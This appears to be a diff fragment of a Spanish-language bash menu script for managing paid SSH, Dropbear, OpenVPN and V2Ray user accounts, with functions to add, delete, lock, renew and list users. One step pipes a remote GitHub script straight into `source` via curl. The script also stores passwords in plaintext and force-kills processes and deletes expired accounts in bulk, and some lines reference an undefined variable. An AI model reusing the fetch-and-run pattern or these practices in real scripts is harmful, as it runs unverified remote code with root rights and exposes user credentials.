$dir_user/$name +fk +msg -bar +tput cuu1 >&2 && tput dl1 >&2 +[[ -e /etc/v2ray/config.json ]] && { +echo -e "\033[1;41m AÑADIR USUARIO VMESS ?\033[0;33m :v" +echo -ne "\033[0;32m " +read -p " Responde [ s | n ] : " -e -i "n" x +tput cuu1 >&2 && tput dl1 >&2 +tput cuu1 >&2 && tput dl1 >&2 +[[ $x = @(s|S|y|Y) ]] && source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/usercodes/adduser.sh) $name $daysrnf +msg -bar +} +else +echo -e "${cor[5]} ⚠️ ERROR AL REGISTRAR SU USUARIO | REINTENTE ⚠️${cor[0]}" +fi +echo -ne "${cor[2]}" +return +} + +function_2 () { +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +msg -bar +echo -e "${cor[4]} ELIMINAR USUARIOS" +msg -bar +echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;33m >${cor[3]} ELIMINAR 1 USER" +echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;33m >${cor[3]} ELIMINAR TODOS" +echo -e "\033[0;35m [\033[0;36m3\033[0;35m]\033[0;33m >${cor[3]} ELIMINAR TODOS LOS CADUCADOS" +msg -bar +selection=$(selection_fun 3) +case ${selection} in +0) +return +;; +1) +unset select_name namer nameFX +select_users 'USUARIOS REGISTRADOS' +name="$select_name" +[[ -z $name ]] && return +[[ $(cat /etc/scpdk1/userDIR/$name | grep "limite" | awk '{print $2}') = "HWID" ]] && nameFX="$(cat /etc/scpdk1/userDIR/$name | grep "senha" | awk '{print $2}')" || nameFX=$name +[[ $(cat /etc/scpdk1/userDIR/$name | grep "limite" | awk '{print $2}') = "TOKEN" ]] && nameFX="$(cat /etc/scpdk1/userDIR/$name | grep "senha" | awk '{print $2}')" || nameFX=$name +[[ "$OPENVPN" = "on" ]] && open_2 $name && msg -bar&& return +userdel --force $name > /dev/null 2>/dev/null +kill -9 `ps aux |grep -vi '[a-z]$name' |grep -vi '$name[a-z]' |grep -v '[1-9]$name' |grep -v '$name[1-9]' |grep $name |awk {'print $2'}` 2> /dev/null +pid_kill=$(dropbear_pids | grep "$name" | awk '{print $2}') +uskk=$(cat /bin/ejecutar/uskill) +let uskk=$uskk+$cco +echo $uskk > /bin/ejecutar/uskill +[[ ! -z $pid_kill ]] && drop_kill $name +[[ -e /etc/usuariosteste/$name ]] && rm /etc/usuariosteste/$name && msg -bar +echo -e " $nameFX ${cor[2]} ELIMINADO " +msg -bar +return +;; +2) +for name in `cat "/etc/passwd"|grep 'home'|grep 'false'|grep -v 'syslog' | cut -d: -f1 |sort`; do +msg -bar +echo -e "${cor[5]} ELIMINAR A $name ?" +read -p " [S/N]: " _remover_ +if [[ "$_remover_" = "s" || "$_remover_" = "S" ]]; then + if [ "$OPENVPN" = "on" ]; then +open_2 $name + else +userdel --force $name > /dev/null 2>&1 +kill -9 `ps aux |grep -vi '[a-z]$name' |grep -vi '$name[a-z]' |grep -v '[1-9]$name' |grep -v '$name[1-9]' |grep $name |awk {'print $2'}` > /dev/null 2>&1 +pid_kill=$(dropbear_pids | grep "$name" | awk '{print $2}') +uskk=$(cat /bin/ejecutar/uskill) +let uskk=$uskk+$cco +echo $uskk > /bin/ejecutar/uskill +[[ ! -z $pid_kill ]] && drop_kill $name +[[ -e $dir_user/$name ]] && rm $dir_user/$name +echo -e "\033[1;37m $name ${cor[5]} ELIMINADO" +fi +fi +done +msg -bar +;; +3) +function_6 +msg -bar +return +;; +esac +} + + +function_3 () { +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +msg -bar +echo -e "${cor[4]} " +msg -bar +unset select_name namer nameFX +select_users 'MODIFICAR DATOS DE USUARIOS' +if [ "$select_name" = "" ]; then +return +fi +namer="$select_name" +[[ $(cat /etc/scpdk1/userDIR/$namer | grep "limite" | awk '{print $2}') = "HWID" ]] && nameFX="$(cat /etc/scpdk1/userDIR/$u | grep "senha" | awk '{print $2}')" || nameFX=$namer +[[ $(cat /etc/scpdk1/userDIR/$namer | grep "limite" | awk '{print $2}') = "TOKEN" ]] && nameFX="$(cat /etc/scpdk1/userDIR/$u | grep "senha" | awk '{print $2}')" || nameFX=$namer +meu_ip +echo -e "${cor[5]} ESCOJE LA OPCION A CAMBIAR DE $namer" +msg -bar +echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m >${cor[3]} NUMERO DE LOGINS DE \033[0;36m$nameFX" +echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m >${cor[3]} FECHA DE EXPIRACION DE \033[0;36m$nameFX" +echo -e "\033[0;35m [\033[0;36m3\033[0;35m]\033[0;31m >${cor[3]} CONTRASEÑA LOGIN DE \033[0;36m$nameFX" +msg -bar +read -p " SELECCIONA UNA OPC : " _opt +[[ "$_opt" = "1" ]] && { +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +read -p " NUEVO LIMITE DE CONEXIONES : " new_limit +number_var $new_limit +tput cuu1 && tput dl1 + if [ "$new_limit" = "" ]; then +echo -e "${cor[5]} \033[1;31m NO SE REGISTRO LIMITE! REGRESANDO. . ." +return + fi +usr_var=$(cat $dir_user/$namer | grep -v "limite:") +echo "$usr_var" > $dir_user/$namer +echo "limite: $new_limit" >> $dir_user/$namer +msg -bar +echo -e "${cor[5]} $select_user - $select_name" +echo -e " ✭ Perfecto, HEMOS CAMBIADO SU LIMITE DE CONEXIONES!! ✭ " +echo -e " RENOVADO EL : $(date "+%d/%m/%Y") " +echo -e " Host / IP : ${cor[4]}$IP" +echo -e " SU CLIENTE : $nameFX " +echo -e " NUEVO LIMITE : $new_limit " +pkill -u $nameFX +msg -bar +unset new_limit +unset usr_var +return +} +[[ "$_opt" = "2" ]] && { +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +add_dias() { +echo -ne "${cor[5]} NUMEROS DE DIAS A AGREGAR" +read -p " : " date +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 + if [ "$date" = "" ]; then +echo -e "\033[1;31m ⚠️ NO SE REGISTRO DIAS! REGRESANDO ⚠️" +return + fi +#echo -e " CALCULANDO DIAS RESTANTES DE $namer" | pv -qL 40 +data=$(cat $dir_user/$namer | grep "data" | awk '{print $2}') +data_sec=$(date +%s) +data_user=$(chage -l "$namer" |grep -i co |awk -F ":" '{print $2}') +data_user_sec=$(date +%s --date="$data_user") +variavel_soma=$(($data_user_sec - $data_sec)) +dias_use=$(($variavel_soma / 86400)) +#echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +[[ $dias_use -ge 0 ]] && { +date=$(($dias_use + $date)) +echo -e "\033[1;32m $dias_use DIAS RECUPERADOS &&" +tput cuu1 && tput dl1 +} || { +#[[ $dias_use < 0 ]] && dias_use=0 +echo -e "\033[1;31m $dias_use DIAS RECUPERADOS &&" +tput cuu1 && tput dl1 +} +limite=$(cat $dir_user/$namer | grep "limite" | awk '{print $2}') +if [ -z "$limite" ]; then +limite="null" +fi +clear&&clear +datexp=$(date "+%d/%m/%Y" -d " + $date days") +valid=$(date '+%C%y-%m-%d' -d " + $date days") + if [[ $(passwd --status $namer|cut -d ' ' -f2) = "L" ]]; then + usermod -U $namer + sleep 2 + msg -verd " ⚠️ UNLOCK ⚠️ " + fi +chage -E $valid $namer 2> /dev/null +[[ -e /etc/scpdk1/userDIR/$namer.exp ]] && { +pass="$(cat < /etc/scpdk1/userDIR/$namer.exp)" +(echo "$pass" ; echo "$pass" ) |passwd $namer > /dev/null 2>/dev/null +rm -f /etc/scpdk1/userDIR/$namer.exp +} +usr_var=$(cat $dir_user/$namer | grep -v "data") +echo -e "$usr_var" > $dir_user/$namer +echo -e "data: $valid" >> $dir_user/$namer +msg -bar +echo -e "${cor[5]} $select_user - $select_name" +echo -e " ✭ Perfecto, Hemos Renovado tu Membresia!! ✭ " +echo -e " RENOVADO EL : $(date "+%d/%m/%Y") " +echo -e " Host / IP : ${cor[4]}$IP" +echo -e " SU CLIENTE : $nameFX " +echo -e " USER LIMITED : $limite " +echo -e " VALIDO HASTA : $datexp" +echo -e "${cor[5]} RENUEVA EN $date DIAS, DISFRUTE SU ESTANCIA!. " +pkill -u $namer +msg -bar +unset datexp +unset valid +unset usr_var +return +} + +del_dias() { +echo -ne "${cor[5]} NUMEROS DE DIAS A QUITAR" +read -p " : " date +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 + if [ "$date" = "" ]; then +echo -e "\033[1;31m ⚠️ NO SE REGISTRO DIAS! REGRESANDO ⚠️" +return + fi +data=$(cat $dir_user/$namer | grep "data" | awk '{print $2}') +data_sec=$(date +%s) +data_user=$(chage -l "$namer" |grep -i co |awk -F ":" '{print $2}') +data_user_sec=$(date +%s --date="$data_user") +variavel_soma=$(($data_user_sec - $data_sec)) +dias_use=$(($variavel_soma / 86400)) +[[ $dias_use -ge 0 ]] && { +date=$(($dias_use - $date)) +echo -e "\033[1;32m $dias_use DIAS RECUPERADOS &&" +tput cuu1 && tput dl1 +} || { +echo -e "\033[1;31m $dias_use DIAS RECUPERADOS &&" +tput cuu1 && tput dl1 +} +limite=$(cat $dir_user/$namer | grep "limite" | awk '{print $2}') +if [ -z "$limite" ]; then +limite="null" +fi +clear&&clear +datexp=$(date "+%d/%m/%Y" -d " + $date days") +valid=$(date '+%C%y-%m-%d' -d " + $date days") + if [[ $(passwd --status $namer|cut -d ' ' -f2) = "L" ]]; then + usermod -U $namer + sleep 2 + msg -verd " ⚠️ UNLOCK ⚠️ " + fi +chage -E $valid $namer 2> /dev/null +[[ -e /etc/scpdk1/userDIR/$namer.exp ]] && { +pass="$(cat < /etc/scpdk1/userDIR/$namer.exp)" +(echo "$pass" ; echo "$pass" ) |passwd $namer > /dev/null 2>/dev/null +rm -f /etc/scpdk1/userDIR/$namer.exp +} +usr_var=$(cat $dir_user/$namer | grep -v "data") +echo -e "$usr_var" > $dir_user/$namer +echo -e "data: $valid" >> $dir_user/$namer +echo -e "${cor[5]} $select_user - $select_name" +echo -e " ✭ Perfecto, Hemos Renovado tu Membresia!! ✭ " +echo -e " RENOVADO EL : $(date "+%d/%m/%Y") " +echo -e " Host / IP : ${cor[4]}$IP" +echo -e " SU CLIENTE : $nameFX " +echo -e " 📱 PERMITIDOS : $limite " +echo -e " VALIDO HASTA : $datexp" +echo -e "${cor[5]} RENUEVA EN $(($date + 1 )) DIAS, DISFRUTE SU ESTANCIA!. " +msg -bar +pkill -u $namer +unset datexp +unset valid +unset usr_var +return +} + +ren_dias() { +echo -ne "${cor[5]} NUMEROS DE DIAS " +read -p " : " date +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 + if [ "$date" = "" ]; then +echo -e "\033[1;31m ⚠️ NO SE REGISTRO DIAS! REGRESANDO ⚠️" +return + fi +limite=$(cat $dir_user/$namer | grep "limite" | awk '{print $2}') +if [ -z "$limite" ]; then +limite="null" +fi +clear&&clear +datexp=$(date "+%d/%m/%Y" -d " + $date days") +valid=$(date '+%C%y-%m-%d' -d " + $date days") + if [[ $(passwd --status $namer|cut -d ' ' -f2) = "L" ]]; then + usermod -U $namer + sleep 2 + msg -verd " ⚠️ UNLOCK ⚠️ " + fi +chage -E $valid $namer 2> /dev/null +[[ -e /etc/scpdk1/userDIR/$namer.exp ]] && { +pass="$(cat < /etc/scpdk1/userDIR/$namer.exp)" +(echo "$pass" ; echo "$pass" ) |passwd $namer > /dev/null 2>/dev/null +rm -f /etc/scpdk1/userDIR/$namer.exp +} +echo -e "${cor[5]} CAMBIADO !" +usr_var=$(cat $dir_user/$namer | grep -v "data") +echo -e "$usr_var" > $dir_user/$namer +echo -e "data: $valid" >> $dir_user/$namer +msg -bar +echo -e "${cor[5]} $select_user - $select_name" +echo -e " ✭ Perfecto, Hemos Renovado tu Membresia!! ✭ " +echo -e " RENOVADO EL : $(date "+%d/%m/%Y") " +echo -e " Host / IP : ${cor[4]}$IP" +echo -e " SU CLIENTE : $nameFX " +echo -e " 📱 PERMITIDOS : $limite " +echo -e " VALIDO HASTA : $datexp" +echo -e "${cor[5]} RENUEVA EN $(($date + 1 )) DIAS, DISFRUTE SU ESTANCIA!. " +pkill -u $namer +msg -bar +unset datexp +unset valid +unset usr_var +return +} + +echo -e "${cor[5]} ESCOJE LA OPCION A CAMBIAR DE $nameFX" +msg -bar +echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m >${cor[3]} AÑADIR DIAS A \033[0;36m$nameFX" +echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m >${cor[3]} QUITAR DIAS A \033[0;36m$nameFX" +echo -e "\033[0;35m [\033[0;36m3\033[0;35m]\033[0;31m >${cor[3]} REINICIAR DIAS A \033[0;36m$nameFX" +msg -bar +read -p " OPCION " _ropt +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +[[ $_ropt = "1" ]] && add_dias +[[ $_ropt = "2" ]] && del_dias +[[ $_ropt = "3" ]] && ren_dias +return +} +[[ "$_opt" = "3" ]] && { +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +echo -e "${cor[5]} NUEVA CONTRASEÑA PARA $nameFX" +read -p " : " nova_senha +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +[[ "$nova_senha" = "" ]] && echo -e "${cor[5]}❌ CONTRASEÑA NO MODIFICADA ❌" && return +(echo "$nova_senha" ; echo "$nova_senha" ) |passwd $namer > /dev/null 2>/dev/null +usr_var1=$(cat $dir_user/$namer | grep -v "senha") +echo -e "$usr_var1" > $dir_user/$namer +echo -e "senha: $nova_senha" >> $dir_user/$namer +[[ -e /etc/scpdk1/userDIR/$namer.exp ]] && rm -f /etc/scpdk1/userDIR/$namer.exp +msg -bar +echo -e "${cor[5]} $select_user - $select_name" +echo -e " ✭ Perfecto, HEMOS CAMBIADO SU CONTRASEÑA!! ✭ " +echo -e " RENOVADO EL : $(date "+%d/%m/%Y") " +echo -e " Host / IP : ${cor[4]}$IP" +echo -e " SU CLIENTE : $nameFX " +echo -e " NUEVA CLAVE : $nova_senha " +pkill -u $namer +msg -bar +unset nova_senha +unset usr_var1 +return +} +[[ -z $_opt ]] && echo "⚠️ SIN SELECCION ⚠️" +} + +block_user () { + +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +msg -bar +#msg -bar +echo -e "${cor[4]} LOCK / UNLOCK USUARIO PRIVADO " +msg -bar +unset select_name namer nameFX +select_users 'LOCK / UNLOCK USUARIO PRIVADO' +[[ -z $select_name ]] && return +namer="$select_name" +local lmt="$(cat /etc/scpdk1/userDIR/$namer | grep "limite" | awk '{print $2}')" +[[ $(echo $lmt) = "HWID" ]] && nameFX="$(cat /etc/scpdk1/userDIR/$u | grep "senha" | awk '{print $2}')" || nameFX=$namer +[[ $(echo $lmt) = "TOKEN" ]] && nameFX="$(cat /etc/scpdk1/userDIR/$u | grep "senha" | awk '{print $2}')" || nameFX=$namer +echo -e "${cor[5]} VERIFICANDO ESTADO DE $nameFX " +msg -bar +######## + if [[ $(passwd --status $namer|cut -d ' ' -f2) = "P" ]]; then + echo -e "${cor[5]}Bloqueando USER " + pkill -u $namer &>/dev/null + droplim=`dropbear_pids|grep -w "$namer"|awk '{print $2}'` + kill -9 $droplim &>/dev/null + usermod -L $namer &>/dev/null + sleep 2 + msg -verm2 " ⚠️ LOCK ⚠️" + else + usermod -U $namer + sleep 2 + msg -verd " ⚠️ UNLOCK ⚠️ " + fi +pkill -u $namer +kill -9 `ps aux |grep -vi '[a-z]$namer' |grep -vi '$namer[a-z]' |grep -v '[1-9]$namer' |grep -v '$namer[1-9]' |grep $namer |awk {'print $2'}` 2> /dev/null +return +} + +function_4 () { + +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +msg -bar +echo -e "${cor[4]} > USUARIO CONTRASEÑA LIMITE USO TIEMPO" +msg -bar +_cont="0" +for namer in `cat "/etc/passwd"|grep 'home'|grep 'false'|grep -v 'syslog' | cut -d: -f1`; do +if [ "$namer" = "" ]; then +break +fi +if [ -e $dir_user/$namer ]; then +_sen=$(cat $dir_user/$namer | grep "senha" | awk '{print $2}') +_limit=$(cat $dir_user/$namer | grep "limite" | awk '{print $2}') +[[ ${_limit} = "HWID" ]] && token="$_sen" +else +_limit="∞" +_sen="∞" +fi +[[ -z "$_limit" ]] && _limit="⚠️ ?? ⚠️" +[[ -z "$_sen" ]] && _sen="⚠️ ?? ⚠️" +data_sec=$(date +%s) +data_user=$(chage -l "$namer" |grep -i co |awk -F ":" '{print $2}') +if [ "$data_user" = " never" ]; then +dias_user="\033[1;37mINDEFINIDO" + else +data_user_sec=$(date +%s --date="$data_user") + if [ "$data_sec" -gt "$data_user_sec" ]; then +dias_user="\033[1;31mEXP" +else +variavel_soma=$(($data_user_sec - $data_sec)) +dias_use=$(($variavel_soma / 86400)) +dias_user="\033[1;32m$dias_use DIAS" + fi +fi +unset SEC +unset MIN +unset HOR +#SEC=$(cat $namer.time | grep "$namer" | awk '{print $2}') +[[ -e /etc/scpdk1/userDIR/$namer.time ]] && SEC=$(cat /etc/scpdk1/userDIR/$namer.time) || SEC="0" +number_var $SEC +if [ "$var_number" = "" ]; then +SEC="0" + else +SEC="$var_number" +fi +hour_var=$(echo "HORAS" | cut -b 1) +min_var=$(echo "ACTA" | cut -b 1) +MIN=$(($SEC / 60)) +SEC=$(($SEC - $MIN * 60)) +HOR=$(($MIN / 60)) +MIN=$(($MIN - $HOR * 60)) +txto[1]=$(printf '%-10s' "$namer") +txto[2]=$(printf '%-12s' "$_sen") +txto[3]=$(printf '%-10s' "$_limit") +txto[4]=$(printf '%-10s' "${HOR}h:${MIN}m:${SEC}s") +[[ $(passwd --status $namer|cut -d ' ' -f2) = "L" ]] && txto[5]="\033[1;31mLOCK" || txto[5]=$(printf '%-2s' "$dias_user") +#$dir_user/$namer.block +unset open_vpn +tmp="$(cat /etc/passwd | grep -v ovpn | cat "/etc/passwd"|grep 'home'|grep 'false'|grep -v 'syslog' | cut -d: -f1)" +open_vpn=$(echo "$tmp" | grep "$namer") +_cont=$(($_cont + 1)) +#[[ ${#_cont} < 2 ]] && _contx="0$_cont" +if [ "$open_vpn" != "" ]; then +#user ssh +[[ -e $dir_user/$namer ]] && [[ $(cat $dir_user/$namer | grep "limite" | awk '{print $2}') = "HWID" || $(cat $dir_user/$namer | grep "limite" | awk '{print $2}') = "TOKEN" ]] && { + [[ $(cat $dir_user/$namer | grep "limite" | awk '{print $2}') = "HWID" ]] && echo -e "\033[0;35m [\033[0;36m$_cont\033[0;35m]\033[0;31m ${cor[7]} ${txto[2]} ${txto[3]} ${txto[4]} ${txto[5]}" && echo -e " \033[1;32m ⤷ HWID ${cor[2]}- \033[1;31m${txto[1]} " + [[ $(cat $dir_user/$namer | grep "limite" | awk '{print $2}') = "TOKEN" ]] && echo -e "\033[0;35m [\033[0;36m$_cont\033[0;35m]\033[0;31m ${cor[7]} ${txto[2]} ${txto[3]} ${txto[4]} ${txto[5]}" && echo -e " \033[1;32m ⤷ TOKEN ${cor[2]}- \033[1;31m${txto[1]} " + } || { + echo -e "\033[0;35m [\033[0;36m$_cont\033[0;35m]\033[0;31m ${cor[2]}${cor[7]} ${txto[1]} ${txto[2]} ${txto[3]} ${txto[4]} ${txto[5]}" + } + else +#user openvpn +echo -e "\033[0;35m [\033[0;36m$_cont\033[0;35m]\033[0;31m ${cor[5]} ${txto[1]} ${txto[2]} ${txto[3]} ${txto[4]} ${txto[5]}" +fi +done +msg -bar +echo -e " \033[1;32m 🔰 # TIENES \033[1;33m [ \033[1;36m${_cont}\033[1;33m ]\033[1;32m CLIENTES EN TU SERVIDOR 🔰 #" +msg -bar +unset txt_ +} + + +function_5 () { +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +cab=$(printf '%-15s%-15s%-9s' 'USUARIO' 'CONEXIONES' 'TIEMPO HH:MM:SS') +msg -bar +echo -e "\E[41;1;37m $cab\E[0m" +unset conex1 +msg -bar +_data_now=$(date +%s) +[[ -z $(locale | grep "LANG=" | cut -d "=" -f2) ]] && export LANG=en_US.UTF-8 +nU=1 +for user in `cat "/etc/passwd"|grep 'home'|grep 'false'|grep -v 'syslog' | cut -d: -f1 |sort -f`; do +i=${user} +sqd="$(ps -u $user | grep sshd | wc -l)" +[[ "$sqd" = "" ]] && sqd=0 +[[ -e /etc/openvpn/openvpn-status.log ]] && ovp="$(cat /etc/openvpn/openvpn-status.log | grep -E ,"$user", | wc -l)" || ovp=0 +if netstat -nltp|grep 'dropbear'> /dev/null;then + drop="$(dropbear_pids | grep "$user" | wc -l)" + else + drop=0 +fi +cnx=$(($sqd + $drop)) +conex=$(($cnx + $ovp)) +local _time="$(ps -o etime $(ps -u $user |grep sshd |awk 'NR==1 {print $1}')|awk 'NR==2 {print $1}')" +if [[ $cnx -gt 0 ]]; then + tst="${_time}" + tst1=$(echo "$tst" | wc -c) +if [[ "$tst1" == "9" ]]; then + timerr="${_time}" +else + timerr="$(echo "00:$tst")" +fi +elif [[ $ovp -gt 0 ]]; then + tmp2=$(printf '%(%H:%M:%S)T\n') + tmp1="$(grep -w "$i" /etc/openvpn/openvpn-status.log |awk '{print $4}'| head -1)" + [[ "$tmp1" = "" ]] && tmp1="00:00:00" && tmp2="00:00:00" + var1=`echo $tmp1 | cut -c 1-2` + var2=`echo $tmp1 | cut -c 4-5` + var3=`echo $tmp1 | cut -c 7-8` + var4=`echo $tmp2 | cut -c 1-2` + var5=`echo $tmp2 | cut -c 4-5` + var6=`echo $tmp2 | cut -c 7-8` + calc1=`echo $var1*3600 + $var2*60 + $var3 | bc` + calc2=`echo $var4*3600 + $var5*60 + $var6 | bc` + seg=$(($calc2 - $calc1)) + min=$(($seg/60)) + seg=$(($seg-$min*60)) + hor=$(($min/60)) + min=$(($min-$hor*60)) + timerusr=`printf "%02d:%02d:%02d \n" $hor $min $seg;` + timerr=$(echo "$timerusr" | sed -e 's/[^0-9:]//ig' ) +else + timerr="00:00:00" +fi +[[ -e $dir_user/${user} ]] && { + +[[ $(cat $dir_user/${user} | grep "limite" | awk '{print $2}') = "HWID" ]] && { +user="$(cat $dir_user/${user} | grep "senha" | awk '{print $2}') \033[1;33m[\033[1;34mHWID\033[1;33m]\033[1;32m" +_limiter="/${_limTOP}\033[1;33m]\033[1;32m" +} || { +[[ $(cat $dir_user/${user} | grep "limite" | awk '{print $2}') = "TOKEN" ]] && { +user="$(cat $dir_user/${user} | grep "senha" | awk '{print $2}') \033[1;33m[\033[1;35mTOKEN\033[1;33m]\033[1;32m" +_limiter="/${_limTOP}\033[1;33m]\033[1;32m" + } + } || { + _limiter="\033[1;32m/\033[1;31m$(cat $dir_user/${user} | grep "limit" | awk '{print $2}')\033[1;33m]\033[1;32m" + } +} || _limiter='/⚠️\033[1;33m]\033[1;32m' +if [ "$conex" -gt "0" ]; then +conex1+="${conex}+" +#lim="\033[1;33m[\033[1;35m$(printf '%-7s' ${conex}${_limiter})" +#local users=" ${user}, $lim, ${timerr}, ${cor[0]}" +#echo -e "$users" | column -e -t -s "," +lim="\033[1;33m[\033[1;35m${conex}${_limiter}" +users=$(printf '%-15s%-15s%-15s' "${user} " " ${lim} " "${timerr}" ) +echo -e "\033[0;35m [\033[0;36m$nU\033[0;35m]\033[0;31m-${cor[3]}$users ${cor[0]}" +let nU++ +fi +done +conex1+="0" +conex1=$(echo $conex1|bc) +[[ "$conex1" = "" ]] && echo -e "\033[1;31m ⚠️ NO TIENES USUARIOS CONECTADOS ! ⚠️ " +msg -bar +echo -e " \033[1;32m 🔰 # TIENES \033[1;33m [ \033[1;36m${conex1}\033[1;33m ]\033[1;32m USUARIOS CONECTADOS 🔰 #" +msg -bar +} + +function_6 () { + +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 + +unset _removidos +msg -bar +datenow=$(date +%s) +for user in $(awk -F: '{print $1}' /etc/passwd); do +expdate=$(chage -l $user|awk -F: '/Account expires/{print $2}') +echo $expdate|grep -q never && continue +datanormal=$(date -d"$expdate" '+%d/%m/%Y') +expsec=$(date +%s --date="$expdate") +diff=$(echo $datenow - $expsec|bc -l) +echo $diff|grep -q ^\- && continue +userdel --force $user > /dev/null 2>/dev/null +kill -9 `ps aux |grep -vi '[a-z]$user' |grep -vi '$user[a-z]' |grep -v '[1-9]$user' |grep -v '$user[1-9]' |grep $user |awk {'print $2'}` 2> /dev/null +pid_kill=$(dropbear_pids | grep "$user" | awk '{print $2}') +uskk=$(cat /bin/ejecutar/uskill) +let uskk=$uskk+$cco +echo $uskk > /bin/ejecutar/uskill +[[ "$pid_kill" != "" ]] && drop_kill $user +[[ "$OPENVPN" = "on" ]] && open_2 $name +[[ -e $dir_user/$user ]] && rm $dir_user/$user +_removidos="on" +echo -e "\033[1;37m $user ${cor[2]} ELIMINADO " +done +if [ "$_removidos" = "" ]; then +echo -e "${cor[5]} ⚠️ No hay Usuarios Vencidos! ⚠️ " +unset _removidos +fi +msg -bar +} + +ban_per () { +clear +local="/etc/bannerssh" +msg -bar +echo -e "\033[1;37m ∆ Linux Dist: $_os\033[0m" +msg -bar +echo -e "\033[1;37m - BANNER Manipulado - \033[0m" +msg -bar +echo -e "\033[1;37mSeleccione su Sistema: Para Salir Ctrl + C o 0 Para Regresar\033[1;33m" +echo -e " \033[1;31m[ !!! ]\033[1;33m PEGA AQUI TU BANNER \033[1;31m\033[1;33m" +msg -bar +echo -e " \033[1;31mLuego de Pegar tu banner Presiona Ctrl + O y Enter \033[1;33m \033[1;31m\033[1;33m" +echo -e " \033[1;31m Por Ultimo Ctrl + X \033[1;33m \033[1;31m\033[1;33m" +echo -ne "\033[1;37m" +read -p " Presiona Enter para Continuar " +apt install nano -y > /dev/null 2>&1 +nano /bin/ejecutar/bannerssh +cat /bin/ejecutar/bannerssh > /etc/bannerssh +rm /bin/ejecutar/bannerssh +fun_bar +#[[ ! -e /root/name ]] && credi="@ChumoGH" || credi=$(cat < /root/name) +#echo '

